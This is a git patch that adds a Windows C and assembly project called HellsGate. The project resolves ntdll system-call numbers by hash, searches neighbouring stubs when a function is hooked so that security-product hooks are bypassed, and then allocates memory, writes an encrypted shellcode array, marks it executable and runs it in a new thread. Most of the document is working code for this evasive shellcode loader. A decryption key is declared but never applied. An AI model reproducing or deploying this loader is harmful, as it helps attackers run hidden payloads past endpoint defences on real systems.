From b6a6a30e2b83c791f271c5878494d2957453cd4d Mon Sep 17 00:00:00 2001 From: trickster0 Date: Sat, 27 Nov 2021 22:25:03 +0200 Subject: [PATCH] final --- HellsGate.sln | 31 +++ HellsGate/HellsGate.vcxproj | 161 +++++++++++++ HellsGate/HellsGate.vcxproj.filters | 32 +++ HellsGate/HellsGate.vcxproj.user | 4 + HellsGate/hellsgate.asm | 30 +++ HellsGate/main.c | 293 ++++++++++++++++++++++++ HellsGate/structs.h | 337 ++++++++++++++++++++++++++++ 7 files changed, 888 insertions(+) create mode 100644 HellsGate.sln create mode 100644 HellsGate/HellsGate.vcxproj create mode 100644 HellsGate/HellsGate.vcxproj.filters create mode 100644 HellsGate/HellsGate.vcxproj.user create mode 100644 HellsGate/hellsgate.asm create mode 100644 HellsGate/main.c create mode 100644 HellsGate/structs.h diff --git a/HellsGate.sln b/HellsGate.sln new file mode 100644 index 0000000..688bc5d --- /dev/null +++ b/HellsGate.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30114.105 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HellsGate", "HellsGate\HellsGate.vcxproj", "{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.ActiveCfg = Debug|x64 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.Build.0 = Debug|x64 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.ActiveCfg = Debug|Win32 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.Build.0 = Debug|Win32 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.ActiveCfg = Release|x64 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.Build.0 = Release|x64 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.ActiveCfg = Release|Win32 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {AAAFFDAB-0074-4A3D-BA5B-63F51AA7F8EB} + EndGlobalSection +EndGlobal diff --git a/HellsGate/HellsGate.vcxproj b/HellsGate/HellsGate.vcxproj new file mode 100644 index 0000000..8f10774 --- /dev/null +++ b/HellsGate/HellsGate.vcxproj @@ -0,0 +1,161 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {dc6187cb-d5df-4973-84a2-f92aae90cda9} + HellsGate + 10.0 + + + + Application + true + v142 + Unicode + false + + + Application + false + v142 + true + Unicode + false + + + Application + true + v142 + Unicode + false + + + Application + false + v142 + true + Unicode + false + + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + Document + + + + + + + \ No newline at end of file diff --git a/HellsGate/HellsGate.vcxproj.filters b/HellsGate/HellsGate.vcxproj.filters new file mode 100644 index 0000000..e123f59 --- /dev/null +++ b/HellsGate/HellsGate.vcxproj.filters @@ -0,0 +1,32 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Header Files + + + + + Source Files + + + \ No newline at end of file diff --git a/HellsGate/HellsGate.vcxproj.user b/HellsGate/HellsGate.vcxproj.user new file mode 100644 index 0000000..0f14913 --- /dev/null +++ b/HellsGate/HellsGate.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/HellsGate/hellsgate.asm b/HellsGate/hellsgate.asm new file mode 100644 index 0000000..4718156 --- /dev/null +++ b/HellsGate/hellsgate.asm @@ -0,0 +1,30 @@ +; Hell's Gate +; Dynamic system call invocation +; +; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec) + +.data + wSystemCall DWORD 000h + +.code + HellsGate PROC + nop + mov wSystemCall, 000h + nop + mov wSystemCall, ecx + nop + ret + HellsGate ENDP + + HellDescent PROC + nop + mov rax, rcx + nop + mov r10, rax + nop + mov eax, wSystemCall + nop + syscall + ret + HellDescent ENDP +end diff --git a/HellsGate/main.c b/HellsGate/main.c new file mode 100644 index 0000000..077de2d --- /dev/null +++ b/HellsGate/main.c @@ -0,0 +1,293 @@ +#pragma once +#include +#include "structs.h" +#include + +#define UP -32 +#define DOWN 32 + + +//typedef VOID(KNORMAL_ROUTINE) ( +// IN PVOID NormalContext, +// IN PVOID SystemArgument1, +// IN PVOID SystemArgument2); +// +//typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE; +/*-------------------------------------------------------------------- + VX Tables +--------------------------------------------------------------------*/ +typedef struct _VX_TABLE_ENTRY { + PVOID pAddress; + DWORD64 dwHash; + WORD wSystemCall; +} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY; + +typedef struct _VX_TABLE { + VX_TABLE_ENTRY NtAllocateVirtualMemory; + VX_TABLE_ENTRY NtProtectVirtualMemory; + VX_TABLE_ENTRY NtCreateThreadEx; + //VX_TABLE_ENTRY NtQueueApcThread; + //VX_TABLE_ENTRY NtResumeThread; + VX_TABLE_ENTRY NtWriteVirtualMemory; + VX_TABLE_ENTRY NtWaitForSingleObject; +} VX_TABLE, * PVX_TABLE; + +/*-------------------------------------------------------------------- + Function prototypes. +--------------------------------------------------------------------*/ +PTEB RtlGetThreadEnvironmentBlock(); +BOOL GetImageExportDirectory( + _In_ PVOID pModuleBase, + _Out_ PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory +); +BOOL GetVxTableEntry( + _In_ PVOID pModuleBase, + _In_ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, + _In_ PVX_TABLE_ENTRY pVxTableEntry +); +BOOL Payload( + _In_ PVX_TABLE pVxTable +); +PVOID VxMoveMemory( + _Inout_ PVOID dest, + _In_ const PVOID src, + _In_ SIZE_T len +); + +/*-------------------------------------------------------------------- + External functions' prototype. +--------------------------------------------------------------------*/ +extern VOID HellsGate(WORD wSystemCall); +extern HellDescent(); + + +INT wmain() { +//int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { + + PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock(); + PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock; + pCurrentPeb->BeingDebugged = 1; + if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA) + return 0x1; + + // Get NTDLL module + PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10); + // Get the EAT of NTDLL + PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL; + if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL) + return 0x01; + VX_TABLE Table = { 0 }; + Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b; + if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory)) + return 0x1; + + Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f; + if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx)) + return 0x1; + + Table.NtWriteVirtualMemory.dwHash = 0x68a3c2ba486f0741; + if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWriteVirtualMemory)) + return 0x1; + + Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37; + if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory)) + return 0x1; + + Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb; + if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject)) + return 0x1; + + Payload(&Table); + return 0x00; +} + +PTEB RtlGetThreadEnvironmentBlock() { +#if _WIN64 + return (PTEB)__readgsqword(0x30); +#else + return (PTEB)__readfsdword(0x16); +#endif +} + +DWORD64 djb2(PBYTE str) { + DWORD64 dwHash = 0x7734773477347734; + INT c; + + while (c = *str++) + dwHash = ((dwHash << 0x5) + dwHash) + c; + + return dwHash; +} + +BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) { + // Get DOS header + PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase; + if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { + return FALSE; + } + + // Get NT headers + PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew); + if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) { + return FALSE; + } + + // Get the EAT + *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); + return TRUE; +} + +BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) { + PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions); + PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames); + PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals); + + for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) { + PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]); + PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; + if (djb2(pczFunctionName) == pVxTableEntry->dwHash) { + pVxTableEntry->pAddress = pFunctionAddress; + + // First opcodes should be : + // MOV R10, RCX + // MOV RAX, + printf("4th byte of function: %x\n", *((PBYTE)pFunctionAddress+3)); + if (*((PBYTE)pFunctionAddress) == 0x4c + && *((PBYTE)pFunctionAddress + 1) == 0x8b + && *((PBYTE)pFunctionAddress + 2) == 0xd1 + && *((PBYTE)pFunctionAddress + 3) == 0xb8 + && *((PBYTE)pFunctionAddress + 6) == 0x00 + && *((PBYTE)pFunctionAddress + 7) == 0x00) { + + BYTE high = *((PBYTE)pFunctionAddress + 5); + BYTE low = *((PBYTE)pFunctionAddress + 4); + pVxTableEntry->wSystemCall = (high << 8) | low; + + return TRUE; + } + //if hooked check the neighborhood to find clean syscall + if (*((PBYTE)pFunctionAddress) == 0xe9) { + for (WORD idx = 1; idx <= 500; idx++) { + // check neighboring syscall down + if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c + && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b + && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1 + && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8 + && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00 + && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) { + BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN); + BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN); + pVxTableEntry->wSystemCall = (high << 8) | low - idx; + + return TRUE; + } + // check neighboring syscall up + if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c + && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b + && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1 + && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8 + && *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00 + && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) { + BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP); + BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP); + pVxTableEntry->wSystemCall = (high << 8) | low + idx; + + return TRUE; + } + + } + return FALSE; + } + if (*((PBYTE)pFunctionAddress + 3) == 0xe9) { + for (WORD idx = 1; idx <= 500; idx++) { + // check neighboring syscall down + if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c + && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b + && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1 + && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8 + && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00 + && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) { + BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN); + BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN); + pVxTableEntry->wSystemCall = (high << 8) | low - idx; + return TRUE; + } + // check neighboring syscall up + if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c + && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b + && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1 + && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8 + && *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00 + && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) { + BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP); + BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP); + pVxTableEntry->wSystemCall = (high << 8) | low + idx; + return TRUE; + } + + } + return FALSE; + } + } + } + + return TRUE; +} + +BOOL Payload(PVX_TABLE pVxTable) { + unsigned char payload[] = { 0x7d ,0xa6 ,0x42 ,0x8c ,0x12 ,0x34 ,0x46 ,0x36 ,0xa2 ,0x86 ,0xe1 ,0x9d ,0xa1 ,0xb3 ,0xbd, +0xbe ,0x48 ,0x7f ,0xf3 ,0x0e ,0xa3 ,0xf3 ,0xc4 ,0x5c ,0x38 ,0xf1 ,0x69 ,0x0d ,0x25 ,0x95, +0xaa ,0x57 ,0x36 ,0x26 ,0x57 ,0x02 ,0x05 ,0x8f ,0x4e ,0xda ,0x4a ,0x2e ,0x1c ,0x99 ,0x7d, +0x52 ,0x98 ,0x1a ,0xf5 ,0x7d ,0xbb ,0x91 ,0x8f ,0xa5 ,0x24 ,0xb4 ,0xcc ,0x37 ,0x3e ,0xf0, +0x18 ,0xec ,0x20 ,0x0c ,0xdb ,0x74 ,0x92 ,0x3a ,0xf7 ,0xdb ,0x0a ,0x90 ,0x0c ,0x90 ,0x23, +0xdd ,0x1c ,0x93 ,0xd4 ,0x49 ,0x79 ,0x65 ,0x53 ,0xde ,0x2f ,0x88 ,0xc7 ,0x76 ,0x73 ,0x55, +0x98 ,0xde ,0x24 ,0x09 ,0xde ,0x95 ,0x5b ,0xc8 ,0xa1 ,0x03 ,0xa0 ,0xcc ,0x7a ,0x5a ,0xf2, +0x76 ,0x43 ,0x71 ,0x99 ,0xf0 ,0xdc ,0x75 ,0xaa ,0xb4 ,0x83 ,0x58 ,0xa5 ,0xad ,0x12 ,0xaf, +0xea ,0xa5 ,0xce ,0xa8 ,0xc7 ,0xdd ,0x4d ,0xcf ,0xdf ,0xf8 ,0xf1 ,0x76 ,0x9c ,0x47 ,0x8d, +0xca ,0xd0 ,0x69 ,0xf9 ,0xb3 ,0x11 ,0x18 ,0xc4 ,0x1f ,0x82 ,0x93 ,0x31 ,0xa7 ,0xff ,0x1a, +0x0b ,0x50 ,0x72 ,0xb3 ,0x13 ,0xbc ,0x02 ,0xdc ,0x98 ,0x77 ,0x36 ,0x2d ,0x86 ,0x6f ,0x4f,}; + + static const char key[6] = { 0x73, 0x65, 0x63, 0x72, 0x65, 0x74 }; + unsigned int payload_len = sizeof(payload); + NTSTATUS status = 0x00000000; + PVOID lpAddress = NULL; + SIZE_T sDataSize = sizeof(payload); + HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall); + status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE); + + HellsGate(pVxTable->NtWriteVirtualMemory.wSystemCall); + status = HellDescent((HANDLE)-1, lpAddress, payload, sizeof(payload), 0); + //VxMoveMemory(lpAddress, payload, sizeof(payload)); + // Change page permissions + ULONG ulOldProtect = 0; + HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall); + status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect); + + // Create thread + HANDLE hHostThread = INVALID_HANDLE_VALUE; + HellsGate(pVxTable->NtCreateThreadEx.wSystemCall); + status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL); + + // Wait for 1 seconds + LARGE_INTEGER Timeout; + Timeout.QuadPart = -10000000; + HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall); + status = HellDescent(hHostThread, FALSE, &Timeout); + + return TRUE; +} + +PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) { + char* d = dest; + const char* s = src; + if (d < s) + while (len--) + *d++ = *s++; + else { + char* lasts = s + (len - 1); + char* lastd = d + (len - 1); + while (len--) + *lastd-- = *lasts--; + } + return dest; +} \ No newline at end of file diff --git a/HellsGate/structs.h b/HellsGate/structs.h new file mode 100644 index 0000000..7ed8387 --- /dev/null +++ b/HellsGate/structs.h @@ -0,0 +1,337 @@ +#pragma once +#include + +/*-------------------------------------------------------------------- + STRUCTURES +--------------------------------------------------------------------*/ +typedef struct _LSA_UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR; + +typedef struct _LDR_MODULE { + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID BaseAddress; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_MODULE, * PLDR_MODULE; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + ULONG Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _PEB { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBase; + PPEB_LDR_DATA LoaderData; + PVOID ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; + PVOID FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PVOID* KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + PVOID FreeList; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PVOID* ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID** ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, * PPEB; + +typedef struct __CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, * PCLIENT_ID; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT { + ULONG Flags; + PCHAR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME { + ULONG Flags; + struct _TEB_ACTIVE_FRAME* Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + ULONG HDC; + ULONG Buffer[310]; +} GDI_TEB_BATCH, * PGDI_TEB_BATCH; + +typedef PVOID PACTIVATION_CONTEXT; + +typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { + struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; + PACTIVATION_CONTEXT ActivationContext; + ULONG Flags; +} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME; + +typedef struct _ACTIVATION_CONTEXT_STACK { + PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; + LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; + +typedef struct _TEB { + NT_TIB NtTib; + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + LONG ExceptionCode; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; + UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)]; + ULONG TxFsContext; +#elif (NTDDI_VERSION >= NTDDI_WS03) + PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; + UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)]; +#else + ACTIVATION_CONTEXT_STACK ActivationContextStack; + UCHAR SpareBytes1[24]; +#endif + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + PVOID GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + PSIZE_T Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + PSIZE_T glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; +#if (NTDDI_VERSION >= NTDDI_WS03) + ULONG HardErrorMode; +#else + ULONG HardErrorsAreDisabled; +#endif +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)]; + GUID ActivityId; + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; +#elif (NTDDI_VERSION >= NTDDI_WS03) + PVOID Instrumentation[14]; + PVOID SubProcessTag; + PVOID EtwLocalData; +#else + PVOID Instrumentation[16]; +#endif + PVOID WinSockData; + ULONG GdiBatchCount; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + BOOLEAN SpareBool0; + BOOLEAN SpareBool1; + BOOLEAN SpareBool2; +#else + BOOLEAN InDbgPrint; + BOOLEAN FreeStackOnTermination; + BOOLEAN HasFiberData; +#endif + UCHAR IdealProcessor; +#if (NTDDI_VERSION >= NTDDI_WS03) + ULONG GuaranteedStackBytes; +#else + ULONG Spare3; +#endif + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR ThreadPoolData; +#elif (NTDDI_VERSION >= NTDDI_WS03) + ULONG_PTR SparePointer1; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR SoftPatchPtr2; +#else + Wx86ThreadState Wx86Thread; +#endif + PVOID* TlsExpansionSlots; +#if defined(_WIN64) && !defined(EXPLICIT_32BIT) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG ImpersonationLocale; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; +#if (NTDDI_VERSION >= NTDDI_WS03) + PVOID FlsData; +#endif +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID PreferredLangauges; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + union + { + struct + { + USHORT SpareCrossTebFlags : 16; + }; + USHORT CrossTebFlags; + }; + union + { + struct + { + USHORT DbgSafeThunkCall : 1; + USHORT DbgInDebugPrint : 1; + USHORT DbgHasFiberData : 1; + USHORT DbgSkipThreadAttach : 1; + USHORT DbgWerInShipAssertCode : 1; + USHORT DbgIssuedInitialBp : 1; + USHORT DbgClonedThread : 1; + USHORT SpareSameTebBits : 9; + }; + USHORT SameTebFlags; + }; + PVOID TxnScopeEntercallback; + PVOID TxnScopeExitCAllback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG ProcessRundown; + ULONG64 LastSwitchTime; + ULONG64 TotalSwitchOutTime; + LARGE_INTEGER WaitReasonBitMap; +#else + BOOLEAN SafeThunkCall; + BOOLEAN BooleanSpare[3]; +#endif +} TEB, * PTEB; + +typedef struct _LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD LoadCount; + WORD TlsIndex; + union { + LIST_ENTRY HashLinks; + struct { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PACTIVATION_CONTEXT EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + PVOID RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + +typedef struct _INITIAL_TEB { + PVOID StackBase; + PVOID StackLimit; + PVOID StackCommit; + PVOID StackCommitMax; + PVOID StackReserved; +} INITIAL_TEB, * PINITIAL_TEB; \ No newline at end of file